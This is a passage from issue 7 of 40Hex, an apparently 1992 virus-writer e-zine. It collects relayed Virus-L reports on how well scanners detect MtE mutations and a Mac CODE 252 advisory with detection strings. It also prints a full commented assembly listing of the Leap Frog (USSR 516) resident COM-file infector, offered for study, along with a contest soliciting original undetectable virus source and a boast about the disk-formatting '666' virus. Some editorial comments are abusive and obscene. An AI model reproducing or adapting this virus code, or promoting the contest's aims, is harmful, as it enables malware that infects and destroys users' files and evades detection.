  1458. the case of MtE, but we also got a report for one false positive.
  1459. For the average users the above rates might appear to be high enough.
  1460. What are 4 undetected infected files when almost 10,000 infected ones
  1461. have been properly detected? Well, it does matter. When you are
  1462. looking for a particular known virus, anything below 100 % detection
  1463. means that your program fails to detect it reliably. Rmember that a
  1464. single not detected file may re-start the epidemy.
  1465.  
  1466. There is another thing to be concerned about. The MtE uses a 128-byte
  1467. random number generator, which means that theoretically it can exist
  1468. in 2^512 different variants. And 0.04 % of this is still quite a
  1469.  
  1470. CM>   [Hmm...  yet a different number of possible mutations?]
  1471.  
  1472. lot... Suppose that some virus writer runs the same tests (or even
  1473. more elaborate ones) and determines for which values of the random
  1474. number generator the virus is not detected. Then he can create a new
  1475. random number generator (the MtE provides the possibility for
  1476. user-supplied random number generators to be plugged in), which
  1477. generates -only- those values... Such a virus will not vary a lot, but
  1478. it will still mutate and -all- its mutations will escape that
  1479. particular scanner...
  1480.  
  1481.  As I mentioned in the beginning, those were only preliminary tests. We
  1482. intend to modify the random number generator so that it will generate
  1483. consecutive (instead of random) numbers and to create a few hundreds
  1484. thousands mutations by keeping only those which a particular scanner
  1485. does NOT detect. We'll then re-run the tests for random ranges of
  1486. consecutive mutations. All we can say now is that neither of the three
  1487. scanners mentioned above is able to detect MtE-based viruses with 100
  1488. % reliability.
  1489.  
  1490. Currently I am aware of the existence of at least three other scanners
  1491. which claim 100 % detection of the MtE. One comes with the new version
  1492. of V-Analyst III, the second has been designed by IBM, and the third
  1493. is Dutch scanner. As soon as we get them we'll re-run the tests.
  1494.  
  1495. Regards,
  1496. Vesselin
  1497. ----------------------End of Vesselin's Message----------------------
  1498.  
  1499. Bill, I'll follow up on the subsequent tests Vesselin intends to run and
  1500. report the results to you.
  1501.  
  1502. One thing I've learned in this business is that accurate and solid
  1503. information is sometimes hard to come by and the experts don't always
  1504. have all the answers.  Although I think Vesselin's above message is
  1505. pretty solid, I also think he fails to consider something:  on the one
  1506. hand, he states a theoretical 2^512 (in contrast, your number is 2^32)
  1507. different variants; yet, his empirical data produces 3 duplicate
  1508. mutations from a run of less than 10 thousand.  I think this is rather
  1509. odd from a statistical perspective.
  1510.  
  1511. Regards,
  1512.    Charlie Moore
  1513. ---
  1514.  
  1515.  
  1516. <<<<<<<<<<<
  1517. Article 5B:
  1518. <<<<<<<<<<<
  1519.  
  1520. Date: 05-30-92 (15:08)              Number: 3021 of 3059 (Echo)
  1521.   To: BILL LAMBDIN                  Refer#: NONE
  1522. From: CHARLIE MOORE                   Read: NO
  1523. Subj: POLYMORPHIC VIRUSES           Status: PUBLIC MESSAGE
  1524. Conf: VIRUS (52)                 Read Type: GENERAL (+)
  1525.  
  1526. Bill, here's a followup post from Vesselin regarding the DAME:
  1527.  
  1528. -----------------Extracted from Internet's Virus-L--------------------
  1529.  
  1530. Date:    27 May 92 08:44:06 +0000
  1531. From:    bontchev@fbihh.informatik.uni-hamburg.de (Vesselin Bontchev)
  1532. Subject: Re: Detecting the MtE (PC)
  1533.  
  1534. bontchev@fbihh.informatik.uni-hamburg.de (Vesselin Bontchev) writes:
  1535.  
  1536. > MtE. Of those 9,471 infected examples 3 turned out to be duplicates,
  1537. > which yelded to 9,468 different instances of the virus. It also means
  1538.  
  1539. Correction: a fourth duplicate has been found later. Therefore the
  1540. total number of generated different mutations used during the test is
  1541. only 9,467.
  1542.  
  1543. > Currently I am aware of the existence of at least three other scanners
  1544. > which claim 100 % detection of the MtE. One comes with the new version
  1545. > of V-Analyst III, the second has been designed by IBM, and the third
  1546. > is Dutch scanner. As soon as we get them we'll re-run the tests.
  1547.  
  1548. We tried out the Dutch scanner. Its authors were present during the
  1549. test. When they saw the results, they decided that the program is not
  1550. ready to be tested yet and promised to send us a fixed version soon...
  1551. :-)
  1552.  
  1553. We just received the V-Analyst III scanner; we haven't tested it yet.
  1554. As soon as the test is performed, I'll post the results.
  1555.  
  1556. Meanwhile we received and tested yet another scanner which claims "100%
  1557. detection of the MtE-based viruses". It is a German product, called
  1558. AntiVir IV and produced by H+BEDV. The version tested was 4.03 of May
  1559. 15, 1992, beta version. It missed 584 mutations (6.17 %).
  1560.  
  1561. Regards,
  1562. Vesselin
  1563. - --
  1564. Vesselin Vladimirov Bontchev           Virus Test Center, University of Hamburg
  1565. Tel.:+49-40-54715-224, Fax: +49-40-54715-226       Fachbereich Informatik - AGN
  1566. ** PGP public key available by finger. **     Vogt-Koelln-Strasse 30, rm. 107 C
  1567. e-mail: bontchev@fbihh.informatik.uni-hamburg.de     D-2000 Hamburg 54, Germany
  1568.  
  1569. 40Hex Number 7 Volume 2 Issue 3                                       File 006
  1570.  
  1571.                          Virus Spotlite on: Leap Frog
  1572.  
  1573. It's always interesting to find new residency techniques.  I suppose everyone
  1574. by now is tired of the traditional high-memory loading routine and is on the
  1575. lookout for something different.  40Hex comes to the rescue!
  1576.  
  1577. This virus, the "Leap Frog" or USSR 516, has one of the most unique methods
  1578. I have ever seen.  I was mucking around in VSUM and noticed that it, according
  1579. to Patricia, it "installs itself in a hole in memory between MSDOS and the DOS
  1580. Stacks."  She is, of course, not telling us the entire story.  Leap Frog
  1581. basically latches onto and resides in a DOS disk buffer.  I do not know who
  1582. the author is, but I commend him for his innovative technique.  I took the
  1583. liberty of disassembling the virus which is given below.  It should be an
  1584. exact byte-for-byte matchup of the original carrier file (or at least should
  1585. be extremely similar).  The offsets are in their correct locations, etc, etc.
  1586. It is simple to understand and terribly efficient.
  1587.  
  1588. Although the coding is tight, there are some inconsistencies.  For
  1589. example, I do not understand the purpose of the timing routine(int 21h/ah=30h)
  1590. in the code.  I also do not understand why the author decided to infect COM
  1591. files in such an abnormal way.  An interesting "feature" is the disabling of
  1592. Control-Break checking - a thoroughly unnecessary piece of code.  I believe
  1593. further that the line above "findmarker" should read:
  1594.  
  1595.                 lds     di,dword ptr ds:[30h*4]
  1596.  
  1597. In any case, the code is otherwise very, very good.  It is great for studying
  1598. by newcomers and "oldtimers" alike.  Things to look for:
  1599.   Residency routine
  1600.   Lack of extensive use of relative offsets
  1601.   Use of stack frame in the interrupt handler
  1602.   Critical error handler
  1603.  
  1604. Enjoy!                                             Dark Angel of PHALCON/SKISM
  1605.  
  1606. ussr516         segment byte public
  1607.                 assume  cs:ussr516, ds:ussr516
  1608.                 org     100h
  1609. ; Disassembled by Dark Angel of PHALCON/SKISM
  1610. ; for 40Hex Number 7 Volume 2 Issue 3
  1611. stub:           db      0e9h, 0, 0
  1612.                 db      0e9h, 1, 0, 0
  1613. ; This is where the virus really begins
  1614. start:
  1615.                 push    ax
  1616.                 call    beginvir
  1617.  
  1618. orig4           db      0cdh, 20h, 0, 0
  1619. int30store      db      0, 0, 0, 0                     ; Actually it's int 21h
  1620.                                                        ; entry point
  1621. int21store      db      0, 0, 0, 0
  1622.  
  1623. beginvir:       pop     bp                             ; BP -> orig4
  1624.                 mov     si,bp
  1625.                 mov     di,103h
  1626.                 add     di,[di-2]                      ; DI -> orig4
  1627.                 movsw                                  ; restore original
  1628.                 movsw                                  ; 4 bytes of program
  1629.                 xor     si,si
  1630.                 mov     ds,si
  1631.                 les     di,dword ptr ds:[21h*4]
  1632.                 mov     [bp+8],di                      ; int21store
  1633.                 mov     [bp+0Ah],es
  1634.                 lds     di,dword ptr ds:[30h*4+1]      ; Bug????
  1635. findmarker:
  1636.                 inc     di
  1637.                 cmp     word ptr [di-2],0E18Ah         ; Find marker bytes
  1638.                 jne     findmarker                     ; to the entry point
  1639.                 mov     [bp+4],di                      ; and move to
  1640.                 mov     [bp+6],ds                      ; int30store
  1641.                 mov     ax,5252h                       ; Get list of lists
  1642.                 int     21h                            ; and also ID check
  1643.  
  1644.                 add     bx,12h                         ; Already installed?
  1645.                 jz      quitvir                        ; then exit
  1646.                 push    bx
  1647.                 mov     ah,30h                         ; Get DOS version
  1648.                 int     21h
  1649.  
  1650.                 pop     bx                             ; bx = 12, ptr to 1st
  1651.                                                        ; disk buffer
  1652.                 cmp     al,3
  1653.                 je      handlebuffer                   ; if DOS 3
  1654.                 ja      handleDBHCH                    ; if > DOS 3
  1655.                 inc     bx                             ; DOS 2.X, offset is 13
  1656. handlebuffer:
  1657.                 push    ds
  1658.                 push    bx
  1659.                 lds     bx,dword ptr [bx]              ; Get seg:off of buffer
  1660.                 inc     si
  1661.                 pop     di
  1662.                 pop     es                             ; ES:DI->seg:off buff
  1663.                 mov     ax,[bx]                        ; ptr to next buffer
  1664.                 cmp     ax,0FFFFh                      ; least recently used?
  1665.                 jne     handlebuffer                   ; if not, go find it
  1666.                 cmp     si,3
  1667.                 jbe     quitvir
  1668.                 stosw
  1669.                 stosw
  1670.                 jmp     short movetobuffer
  1671. handleDBHCH:   ; Disk Buffer Hash Chain Head array
  1672.                 lds     si,dword ptr [bx]              ; ptr to disk buffer
  1673.                 lodsw                                  ; info
  1674.                 lodsw                                  ; seg of disk buffer
  1675.                                                        ; hash chain head array
  1676.                 inc     ax                             ; second entry
  1677.                 mov     ds,ax
  1678.                 xor     bx,bx
  1679.                 mov     si,bx
  1680.                 lodsw                                  ; EMS page, -1 if not
  1681.                                                        ; in EMS
  1682.                 xchg    ax,di                          ; save in di
  1683.                 lodsw                                  ; ptr to least recently
  1684.                                                        ; used buffer
  1685.                 mov     [di+2],ax                      ; change disk buffer
  1686.                                                        ; backward offset to
  1687.                                                        ; least recently used
  1688.                 xchg    ax,di                          ; restore EMS page
  1689.                 mov     [di],ax                        ; set to least recently
  1690. movetobuffer:                                          ; used
  1691.                 mov     di,bx
  1692.                 push    ds
  1693.                 pop     es                             ; ES:DI -> disk buffer
  1694.                 push    cs
  1695.                 pop     ds
  1696.                 mov     cx,108h
  1697.                 lea     si,[bp-4]                      ; Copy from start
  1698.                 rep     movsw
  1699.                 mov     ds,cx                          ; DS -> interrupt table
  1700.                 mov     word ptr ds:[4*21h],0BCh       ; New interrupt handler
  1701.                 mov     word ptr ds:[4*21h+2],es       ; at int21
  1702. quitvir:
  1703.                 push    cs                             ; CS = DS = ES
  1704.                 pop     es
  1705.                 push    es
  1706.                 pop     ds
  1707.                 pop     ax
  1708.                 mov     bx,ax
  1709.                 mov     si, 100h                       ; set up stack for
  1710.                 push    si                             ; the return to the
  1711.                 retn                                   ; original program
  1712. int24:
  1713.                 mov     al,3                           ; Ignore all errors
  1714.                 iret
  1715. tickstore       db      3                              ; Why???
  1716. buffer          db      3, 0, 9, 0
  1717.  
  1718. int21:
  1719.                 pushf
  1720.                 cli                                    ; CP/M style call entry
  1721.                 call    dword ptr cs:[int30store-start]
  1722.                 retn                                   ; point of int 21h
  1723.  
  1724. int21DSDX:                                             ; For int 21h calls
  1725.                 push    ds                             ; with
  1726.                 lds     dx,dword ptr [bp+2]            ; DS:DX -> filename
  1727.                 call    int21
  1728.                 pop     ds
  1729.                 retn
  1730.  
  1731.                 cmp     ax,4B00h                       ; Execute
  1732.                 je      Execute
  1733.                 cmp     ax,5252h                       ; ID check
  1734.                 je      CheckID
  1735.                 cmp     ah,30h                         ; DOS Version
  1736.                 je      DosVersion
  1737. callorig21:                                            ; Do other calls
  1738.                 jmp     dword ptr cs:[int21store-start]
  1739. DosVersion:    ; Why?????                             ; DOS Version
  1740.                 dec     byte ptr cs:[tickstore-start]
  1741.                 jnz     callorig21                     ; Continue if not 0
  1742.                 push    es
  1743.                 xor     ax,ax
  1744.                 push    ax
  1745.                 mov     es,ax
  1746.                 mov     al,es:[46Ch]                   ; 40h:6Ch = Timer ticks
  1747.                                                        ; since midnight
  1748.                 and     al,7                           ; MOD 15
  1749.                 inc     ax
  1750.                 inc     ax
  1751.                 mov     cs:[tickstore-start],al        ; # 2-17
  1752.                 pop     ax
  1753.                 pop     es
  1754.                 iret
  1755. CheckID:                                               ; ID Check
  1756.                 mov     bx,0FFEEh                      ; FFEEh = -12h
  1757.                 iret
  1758. Execute:                                               ; Execute
  1759.                 push    ax                             ; Save registers
  1760.                 push    cx
  1761.                 push    es
  1762.                 push    bx
  1763.                 push    ds                             ; DS:DX -> filename
  1764.                 push    dx                             ; save it on stack
  1765.                 push    bp
  1766.                 mov     bp,sp                          ; Set up stack frame
  1767.                 sub     sp,0Ah                         ; Temporary variables
  1768.                                                        ; [bp-A] = attributes
  1769.                                                        ; [bp-8] = int 24 off
  1770.                                                        ; [bp-6] = int 24 seg
  1771.                                                        ; [bp-4] = file time
  1772.                                                        ; [bp-2] = file date
  1773.                 sti
  1774.                 push    cs
  1775.                 pop     ds
  1776.                 mov     ax,3301h                       ; Turn off ^C check
  1777.                 xor     dl,dl                          ; (never turn it back
  1778.                 call    int21                          ;  on.  Bug???)
  1779.                 mov     ax,3524h                       ; Get int 24h
  1780.                 call    int21                          ; (Critical error)
  1781.                 mov     [bp-8],bx
  1782.                 mov     [bp-6],es
  1783.                 mov     dx,int24-start
  1784.                 mov     ax,2524h                       ; Set to new one
  1785.                 call    int21
  1786.                 mov     ax,4300h                       ; Get attributes
  1787.                 call    int21DSDX
  1788.                 jnc     continue
  1789. doneinfect:
  1790.                 mov     ax,2524h                       ; Restore crit error
  1791.                 lds     dx,dword ptr [bp-8]            ; handler
  1792.                 call    int21
  1793.                 cli
  1794.                 mov     sp,bp
  1795.                 pop     bp
  1796.                 pop     dx
  1797.                 pop     ds
  1798.                 pop     bx
  1799.                 pop     es
  1800.                 pop     cx
  1801.                 pop     ax
  1802.                 jmp     short callorig21               ; Call orig handler
  1803. continue:
  1804.                 mov     [bp-0Ah],cx                    ; Save attributes
  1805.                 test    cl,1                           ; Check if r/o????
  1806.                 jz      noclearattr
  1807.                 xor     cx,cx
  1808.                 mov     ax,4301h                       ; Clear attributes
  1809.                 call    int21DSDX                      ; Filename in DS:DX
  1810.                 jc      doneinfect                     ; Quit on error
  1811. noclearattr:
  1812.                 mov     ax,3D02h                       ; Open read/write
  1813.                 call    int21DSDX                      ; Filename in DS:DX
  1814.                 jc      doneinfect                     ; Exit if error
  1815.                 mov     bx,ax
  1816.                 mov     ax,5700h                       ; Save time/date
  1817.                 call    int21
  1818.                 mov     [bp-4],cx
  1819.                 mov     [bp-2],dx
  1820.                 mov     dx,buffer-start
  1821.                 mov     cx,4
  1822.                 mov     ah,3Fh                         ; Read 4 bytes to
  1823.                 call    int21                          ; buffer
  1824.                 jc      quitinf
  1825.                 cmp     byte ptr ds:[buffer-start],0E9h; Must start with 0E9h
  1826.                 jne     quitinf                        ; Otherwise, quit
  1827.                 mov     dx,word ptr ds:[buffer+1-start]; dx = jmploc
  1828.                 dec     dx
  1829.                 xor     cx,cx
  1830.                 mov     ax,4201h                       ; go there
  1831.                 call    int21
  1832.                 mov     ds:[buffer-start],ax           ; new location offset
  1833.                 mov     dx,orig4-start
  1834.                 mov     cx,4
  1835.                 mov     ah,3Fh                         ; Read 4 bytes there
  1836.                 call    int21
  1837.                 mov     dx,ds:[orig4-start]
  1838.                 cmp     dl,0E9h                        ; 0E9h means we might
  1839.                 jne     infect                         ; already be there
  1840.                 mov     ax,ds:[orig4+2-start]          ; continue checking
  1841.                 add     al,dh                          ; to see if we really
  1842.                 sub     al,ah                          ; are there.
  1843.                 jz      quitinf
  1844. infect:
  1845.                 xor     cx,cx
  1846.                 mov     dx,cx
  1847.                 mov     ax,4202h                       ; Go to EOF
  1848.                 call    int21
  1849.                 mov     ds:[buffer+2-start],ax         ; save filesize
  1850.                 mov     cx,204h
  1851.                 mov     ah,40h                         ; Write virus
  1852.                 call    int21
  1853.                 jc      quitinf                        ; Exit if error
  1854.                 sub     cx,ax
  1855.                 jnz     quitinf
  1856.                 mov     dx,ds:[buffer-start]
  1857.                 mov     ax,ds:[buffer+2-start]
  1858.                 sub     ax,dx
  1859.                 sub     ax,3                           ; AX->jmp offset
  1860.                 mov     word ptr ds:[buffer+1-start],ax; Set up buffer
  1861.                 mov     byte ptr ds:[buffer-start],0E9h; code the jmp
  1862.                 add     al,ah
  1863.                 mov     byte ptr ds:[buffer+3-start],al
  1864.                 mov     ax,4200h                       ; Rewind to jmploc
  1865.                 call    int21
  1866.                 mov     dx, buffer-start
  1867.                 mov     cx,4                           ; Write in the jmp
  1868.                 mov     ah,40h
  1869.                 call    int21
  1870. quitinf:
  1871.                 mov     cx,[bp-4]
  1872.                 mov     dx,[bp-2]
  1873.                 mov     ax,5701h                       ; Restore date/time
  1874.                 call    int21
  1875.                 mov     ah,3Eh                         ; Close file
  1876.                 call    int21
  1877.                 mov     cx,[bp-0Ah]                    ; Restore attributes
  1878.                 mov     ax,4301h
  1879.                 call    int21DSDX
  1880.                 jmp     doneinfect                     ; Return
  1881. ussr516         ends
  1882.                 end     stub
  1883.  
  1884. 40Hex Number 7 Volume 2 Issue 3                                       File 007
  1885.  
  1886. Just a friendly reminder:
  1887.  
  1888.                         ------------------------
  1889.                              Virus Contest!
  1890.                            'The Spammies(tm)'
  1891.                         ------------------------
  1892.                         Deadline: July 4th, 1992
  1893.  
  1894.  
  1895.    This is the first PHALCON/SKISM virus contest.  As a matter of fact, this
  1896. is the first contest of its kind.  We believe that it will motivate you to
  1897. produce more original code, rather than more hacks.  Winners may have already
  1898. won $10,000,000, as well as the prestige of winning the first ever 'Spammie'
  1899. awards.
  1900.  
  1901.  
  1902. Rules and Regulations:
  1903. 1)  All submissions must be original source code. (no hacks)
  1904. 2)  Only one submission is allowed per programmer, plus one group project.
  1905. 3)  All viruses must be recieved by us before July 4th, 1992.
  1906. 4)  Viruses must be accompanied by a complete entry form. (see below)
  1907. 5)  The original, compilable, commented source MUST be included, along with an
  1908.     installer program, or a dropper, in the case of boot block viruses.
  1909. 6)  Entries must include a location where the author may be contacted, such as
  1910.     an email address or a BBS.
  1911. 7)  Personnel or persons related to personnel of PHALCON/SKISM are not
  1912.     eligable.
  1913. 8)  The source must compile without error under Tasm or Masm (please specify
  1914.     what assembler and version you used, along with the necessary command line
  1915.     switches).  If we cannot compile your virus, it will be disqualified.
  1916. 9)  All entries recieve a free subscription to 40hex.  (hehehehe)
  1917. 10) The entry must be uploaded privately to the sysop, stating that it is a
  1918.     contest entry.
  1919. 11) The viruses must not be detectable by the current version (as of July 4th)
  1920.     of any known virus scanner.
  1921. 12) Viruses will be judged by our 'panel of experts' in three catagories.
  1922.     6.1)  Stealth
  1923.     6.2)  Size
  1924.     6.3)  Reproductivity
  1925.     6.4)  Performance
  1926.         For example, Red Cross is an example of a 'high performance' virus.  It
  1927.         was entertaining and well done.
  1928.  
  1929. *** Entry Form
  1930.  
  1931. Handle ________________________
  1932. Group Afiliation ______________
  1933. Virus Name ____________________
  1934. Size ____bytes (if you need more spaces, go away)
  1935. Type               ___ File Infector ___ Boot block
  1936. Infection method   ___ Direct Action ___ Memory Resident   ___ Directory chain
  1937.                    ___ Other (please describe it in detail)
  1938. Encryption routine ___ None (bah)    ___ Xor loop
  1939.                    ___ Other (please describe it in detail)
  1940.  
  1941. Describe what makes your infection routine unique.
  1942. _______________________________________________________________________________
  1943. _______________________________________________________________________________
  1944. Describe what makes your encryption routine unique.
  1945. _______________________________________________________________________________
  1946. _______________________________________________________________________________
  1947. Describe what means your virus uses, other than encryption, to keep itself
  1948. hidden.
  1949. _______________________________________________________________________________
  1950. _______________________________________________________________________________
  1951. What is the largest possible scan string for this virus?  __bytes
  1952.  
  1953. What else sets this virus apart from other viruses?
  1954. _______________________________________________________________________________
  1955. _______________________________________________________________________________
  1956. _______________________________________________________________________________
  1957. 40Hex Number 7 Volume 2 Issue 3                                       File 008
  1958.  
  1959.  
  1960. More Virus News.  An informed virus Programmer is a good one.
  1961.  
  1962. Article 1:   New Macintosh Virus
  1963. Article 2:   RockSteady's 666 Virus [NuKE]
  1964. Article 3:   A Stooge's View
  1965.  
  1966.  
  1967. <<<<<<<<<
  1968. Article 1
  1969. <<<<<<<<<
  1970.  
  1971. Date:    Fri, 17 Apr 92 11:34:50 -0500
  1972. >From:    Gene Spafford <spaf@cs.purdue.edu>
  1973. Subject: Mac announcement - new virus (Mac)
  1974.  
  1975.                     New Macintosh Virus Discovered
  1976.                             17 April 1992
  1977.  
  1978. Virus: CODE 252
  1979. Damage: some, possibly severe (see text)
  1980. Spread: unknown (see text)
  1981. Systems affected: Apple Macintosh computers. All types, but see text.
  1982.  
  1983. A new virus, which has been designated "CODE 252", has been discovered
  1984. on Apple Macintosh computer systems. This virus is designed to trigger
  1985. if an infected application is run or system booted between June 6 and
  1986. December 31, inclusive.  When triggered, the virus brings up a dialog
  1987. box with the message:
  1988.    You have a virus.
  1989.    Ha Ha Ha Ha Ha Ha Ha
  1990.    Now erasing all disks...
  1991.    Ha Ha Ha Ha Ha Ha Ha
  1992.    P.S. Have a nice day.
  1993.    Ha Ha Ha Ha Ha Ha Ha
  1994.    (Click to continue...)
  1995.  
  1996. Despite this message, no files or directories are deleted in the
  1997. versions of the virus we have seen; however, a worried user might
  1998. power down the system upon seeing the message, and thus corrupt the
  1999. disk -- this could lead to significant damage.  Furthermore, the virus
  2000. may interact with some applications in such a manner as to damage
  2001. them.
  2002.  
  2003. Under System 7, the System file can be seriously damaged by the virus
  2004. under at least some circumstances as the virus attempts to spread.
  2005. This may lead to a system that will not boot, crashes, or other
  2006. unusual behavior.
  2007.  
  2008. Between January 1 and June 5, inclusive, the virus simply spreads from
  2009. applications to system files, and then on to other application files.
  2010. At the present moment, we have no indication that the virus causes
  2011. direct damage to any existing applications.
  2012.  
  2013. The virus does not spread to other applications under MultiFinder on
  2014. System 6.x systems, nor will it spread under System 7.  However, it
  2015. will run on those systems if an infected application is executed.
  2016. Even if you are running one of these systems, we recommend you obtain
  2017. an use one of latest versions of appropriate anti-virus software.
  2018.  
  2019. As of the date of this announcement (17 April 92), we have had limited
  2020. reported sightings of this virus.  This, combined with the nature of
  2021. operation of the virus, leads us to believe that the virus is not yet
  2022. widespread.
  2023.  
  2024. The current versions of Gatekeeper and SAM Intercept (in advanced and
  2025. custom mode) are effective against this virus.  Either program should
  2026. generate an alert if the virus is present and attempts to spread to
  2027. other files.  The Virex Record/Scan feature will also detect the virus.
  2028.  
  2029.  
  2030. Authors of all major Macintosh anti-virus tools are planning updates
  2031. to their tools to locate and/or eliminate this virus. Some of these
  2032. are listed below. We recommend that you obtain and run a CURRENT
  2033. version of AT LEAST ONE of these programs.
  2034.  
  2035. Some specific information on updated Mac anti-virus products follows:
  2036.  
  2037.     Tool: Disinfectant
  2038.     Status: Free software (courtesy of Northwestern University and
  2039.     John Norstad)
  2040.     Revision to be released: 2.8
  2041.     Where to find: usual archive sites and bulletin boards --
  2042.                    ftp.acns.nwu.edu, sumex-aim.stanford.edu,
  2043.                    rascal.ics.utexas.edu, AppleLink, America Online,
  2044.                    CompuServe, Genie, Calvacom, MacNet, Delphi,
  2045.                    comp.binaries.mac
  2046.     When available: soon
  2047.  
  2048.  
  2049.     Tool: Gatekeeper
  2050.     Status: Free software (courtesy of Chris Johnson)
  2051.     Revision to be released: 1.2.6 (probably)
  2052.     Where to find: usual archive sites and bulletin boards --
  2053.                    microlib.cc.utexas.edu, sumex-aim.stanford.edu,
  2054.                    rascal.ics.utexas.edu, comp.binaries.mac
  2055.     When available: eventually
  2056.     Comments:
  2057.     Gatekeeper should find this virus if it attempts to infect your
  2058.     system or applications, and thus does not need an update.
  2059.     Gatekeeper Aid will need an update to "know" exactly what virus it
  2060.     is seeing so it can remove the virus, but the update is not
  2061.     crucial for continued protection.  As Gatekeeper is freeware and
  2062.     Chris has a "real" life, this update may not be immediate.
  2063.  
  2064.  
  2065.     Tool: Rival
  2066.     Status: Commercial software
  2067.     Revision to be released: Rival 1.1.9v (CODE 252 Vaccine or Refresh
  2068. 1.1.9v)
  2069.     Where to find it: AppleLink, America Online, Internet, Compuserve.
  2070.     When available: Immediately.
  2071.  
  2072.  
  2073.     Tool: SAM (Virus Clinic and Intercept)
  2074.     Status: Commercial software
  2075.     Revision to be released: 3.0.8
  2076.     Where to find: CompuServe, America Online, Applelink, Symantec's
  2077.                    Bulletin Board @ 408-973-9598
  2078.     When available: 17 April 1992.  Version 3.0.8 of the Virus
  2079.                     Definitions file are also available.
  2080.  
  2081.  
  2082.     Tool: Virex INIT
  2083.     Status: Commercial software
  2084.     Revision to be released: 3.8
  2085.     Where to find: Microcom, Inc (919) 490-1277
  2086.     When available: Immediately.
  2087.     Comments:
  2088.     Virex 3.8 will detect and repair the virus. All
  2089.     Virex subscribers will automatically be sent an update on
  2090.     diskette. All other registered users will receive a notice with
  2091.     information to update prior versions to be able to detect
  2092.     CODE 252. This information is also available on Microcom's BBS.
  2093.     (919)419-1602, and is presented here:
  2094.               Guide Number = 6324448
  2095.               1: 0203 3001 7778 2A00 / 79
  2096.               2: 0C50 4EFA 0003 A9AB / C4
  2097.               3: 0004 A9AA 0002 A647 / B2
  2098.               4: 8180 9090 9090 9090 / 1B
  2099.  
  2100.     Tool: Virus Detective
  2101.     Status: Shareware
  2102.       Revision to be released: 5.0.4
  2103.     Where to find: Usual bulletin boards will announce a new search string.
  2104.                    Registered users will also get a mailing
  2105.                    with the new search string.
  2106.     When available: Immediately.
  2107.     Comments: search strings are:
  2108. Resource Start & Size < 1200 & WData 2F2C#23F3C#2A9A0*3F3C#24878#2A9AB ; For
  2109. find CODE 252 in Appl's
  2110. Filetype=ZSYS & Resource INIT & Size < 1200 & WData 2F2C#
  2111. 3F3C#2A9A0*3F3C#24878
  2112. #2A9AB ; For find CODE 252 in System
  2113.  
  2114.  
  2115. If you discover what you believe to be a virus on your Macintosh
  2116. system, please report it to the vendor/author of your anti-virus
  2117. software package for analysis.  Such reports make early, informed
  2118. warnings like this one possible for the rest of the Mac community.
  2119.  
  2120.  
  2121. <<<<<<<<<<
  2122. Article 2:
  2123. <<<<<<<<<<
  2124.  
  2125. ==========================================================================
  2126. Date: 04-27-92 (04:18)              Number: 264 of 275 (Echo)
  2127. To: ALL                             Refer#: NONE
  2128. From: STEVENS WALLACE               Read: (N/A)
  2129. Subj: 666 IS GONNA GET YEAH         Status: PUBLIC MESSAGE
  2130. Conf: N_VIRUS (41) Read Type: GENERAL (A) (+)
  2131.  
  2132.                    Rock Steady `666' Virus            Released: Mar 24'92
  2133. [Montreal,Canada] PROGRAMMED:By Rock Steady. A few patches from other neat
  2134. Viruses
  2135. DAMAGE:The Virus will format the HD BOOT & FAT area on the 13th of
  2136. every Month! I wrote TWO formating procedures. One with the INT 13h and one
  2137. with the INT 26h! To make 100% the suckers HD gets trashes for GOOD!
  2138. NOTES:This is a Simple EXE & COM Infector! It infects ALL Files Executed  The
  2139. Virus Hides in High Memory! And Hooks Int 21h! It will increase  files by the
  2140. length of 666 Bytes! but if the Virus is Resident in  Memory the Length of
  2141. the Files on a "DIR" will remain the SAME under  MSDOS V3.30 - 5.0!
  2142. OTHER:*uck the Name. Its the ONLY text in the Virus! So the Anti-Virus 
  2143. people will call it `Rock Steady', since the virus needs that signature  to
  2144. check if the file is infected on infection routines & DIR routine!
  2145. PURPOSE:To make a very small "Stealth" Virus. And create a HOLE shit  load of
  2146. damage for people not to forget!
  2147. ANTI-VIRAL:*uck Them! I've tried with SCANV89B, F-PROT2.03A, VirexPC  Central
  2148. Point 1.2, Nortan Scanner, ViruScan And it's UNDETECTABLE!
  2149.  
  2150. Neat heh? McGill Univ. is flipping over this new Virus that they just got hit
  2151. with in Montreal. *uck it's hot...
  2152.  
  2153. aLl comments to moi...
  2154. =======================================================================
  2155.  
  2156.  
  2157. <<<<<<<<<<
  2158. Article 3:
  2159. <<<<<<<<<<
  2160.  
  2161. Extracted from "Gui Guts" by Yacco, in ComputerCraft Magazine, June 1992
  2162. ------------------------------------------------------------------------
  2163.  
  2164. Mutant Ninja Morons
  2165. -------------------
  2166. Did you survive the Michaelangelo Virus? That's what everybody,
  2167. including Bill, the guy from UPS, has been asking me. I spent most of
  2168. last night organizing and archiving several year's worth of data. I
  2169. suppose I should be grateful to the fan of comic culture who wrote this
  2170. virus for the motivation to do something I've been putting off for a
  2171. long time. But these virus writers aren't exactly virtuous. I wouldn't
  2172. be sitting here now creating files with tomorrow's date on them if they
  2173. were. In fact, it occurs to me that what motivates them is a need to
  2174. control and terrorize people. In other words, they're a new breed of
  2175. rapist: the mass rapist. And just like physical rape isn't about sex,
  2176. electronic rape isn't about intellectual challenges.
  2177.  
  2178. [I wasn't going to comment until I got this classic article.  This is so
  2179. funny.  This guy thinks Michelangelo was named after the Teenage Mutant
  2180. Ninja Turtle.  And hell, *IF* we are rapists, Yacco, better bend over
  2181. and spread em wide, cause we are gonna fuck you hard.  What kinda name
  2182. is Yacco???  Fuck him.  Why is everyone so curious as to what motivates
  2183. us?  Can't it be that we just simply enjoy it?  Must it be social
  2184. problems, or publicity?  Don't blame the virus community for the
  2185. Michelangelo scare, blame the Anti Virus Community.  It was a scare, a
  2186. simple ploy to gain money!  I had everyone asking me how do I protect
  2187. myself?  So, I spent a couple days helping out people who weren't
  2188. infected.  Everywhere I went, Michelangelo!  How many infections did I
  2189. find? 1.  One fucking infection.  I think everyone in the Anti-Virus
  2190. Community benefitted.  Do you think that the author of Michelangelo made
  2191. a press release about the virus?  I don't recall that.  So, there goes
  2192. the publicity theory.  He didn't control anyone.  Anti-Virus people did.
  2193. A scare tactic.  Plain and simple.  The End.]
  2194.  
  2195.  
  2196. PS: Saw a useful article in the latest issue of a magazine?  Anything
  2197. Virus related?  Well, ya don't have to type it in!  Just contact a
  2198. -=PHALCON/SKISM=- Member, and we will take care of it.  Leave him mail
  2199. stating what magazine, what issue, and what page, and your handle (We
  2200. will throw ya into our Greet list).
  2201.  
  2202.                                         ->GHeap!
  2203. 40Hex Number 7 Volume 2 Issue 3                                       File 009
  2204.  
  2205.                  Pogue Mahone!
  2206.  
  2207. The following is what Patti Hoffman has to say about the Pogue virus.
  2208.  
